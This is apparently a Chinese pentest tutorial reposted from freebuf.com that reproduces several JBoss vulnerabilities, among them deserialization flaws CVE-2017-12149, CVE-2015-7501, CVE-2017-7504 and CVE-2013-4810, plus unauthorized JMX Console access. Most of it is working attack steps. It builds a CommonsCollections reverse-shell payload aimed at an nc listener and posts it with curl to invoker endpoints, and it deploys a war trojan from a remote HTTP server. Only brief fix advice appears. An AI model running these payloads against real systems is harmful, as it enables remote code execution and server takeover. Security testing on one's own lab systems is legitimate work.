JBoss简介:
JBoss是一个基于J2EE的开发源代码的应用服务器。是一个管理EJB的容器和服务器,支持EJB1.1、EJB2.0和EJB3的规范。但不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
默认端口:
8080、9990
设置外网访问:
修改C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml配置:
重启JBoss即可。
JBoss 5.x/6.x反序列化漏洞(CVE-2017-12149)
影响范围:
JBoss 5.x/6.x
1)验证是否存在漏洞
访问/invoker/readonly:
返回500,说明此页面存在该漏洞。
2)配置javac环境
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version
3)漏洞利用
工具:JavaDeserH2HC
(1)生成ReverseShellCommonsCollectionsHashMap.class
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
(2)生成ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.109.9:8888(ip是nc所在的ip)
(3)利用ReverseShellCommonsCollectionsHashMap.ser:
curl http://192.168.109.150:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
成功反弹shell。
JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
漏洞简介:
由于JBoss中invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持Java反序列化。
漏洞影响:
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
1)验证漏洞是否存在
访问 /invoker/JMXInvokerServlet
返回如上,说明接口开放,存在该漏洞。
2)漏洞利用
这里利用CVE-2017-12149生成的ser,发送到/invoker/JMXInvokerServlet接口中。
curl http://192.168.109.150:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
成功反弹shell。
3)修复建议
(1)删掉http-invoker.sar组件。路径为C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,删除后访问404。
(2)添加代码C:\jboss6.1.0.Final\server\default\deploy\httpinvoker.sar\invoker.war\WEB-INF下web.xml的security-constraint标签中,对http-invoker组件进行访问控制。
<url-pattern>/*</url-pattern>
JBossMQ JMS反序列化(CVE-2017-7504)
漏洞简介:
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞。
影响范围:
含JBoss 4.x之前所有版本。
复现环境:
JBoss 4.2.3
1)验证漏洞
访问 /jbossmq-httpil/HTTPServerILServlet
返回此页面即存在漏洞。
2)漏洞利用
这里利用CVE-2017-12149生成的ser,发送到/jbossmq-httpil/HTTPServerILServlet接口中:
curl http://192.168.109.7:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
成功反弹shell。
JBoss EJBInvokerServle反序列化漏洞(CVE-2013-4810)
访问 /invoker/EJBInvokerServlet,能返回结果即可利用。
与CVE-2015-7501漏洞原理相同。区别在于JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化上传构造的文件。
低版本JMX Console未授权访问
**漏洞简介:**JBoss管理控制台的访问控制不严格导致的漏洞。
**影响版本:**JBoss 4.x及其之前版本。
**复现环境:**JBoss 4.2.3
2)未授权访问
找到 jboss.deployment
进入页面后找到 void addURL()
3)搭建远程部署
python -m SimpleHTTPServer 8001
4)上传部署
4)检查部署情况
点击Apply Changes后,回到JMX-Console目录找到 jboss.web.deployment查看是否存在上传部署的war木马。
高版本JMX Console未授权访问
利用和低版本JMX Console未授权访问相同。
点击JMX Console,进入页面后点击jboss.system链接,进入页面后点击service=MainDeployer,进入页面后找到methodIndex为17或19的deploy填写远程war地址进行远程部署。
来源:freebuf.com 2021-05-07 01:42:36 by: MISUagain
请登录后发表评论
注册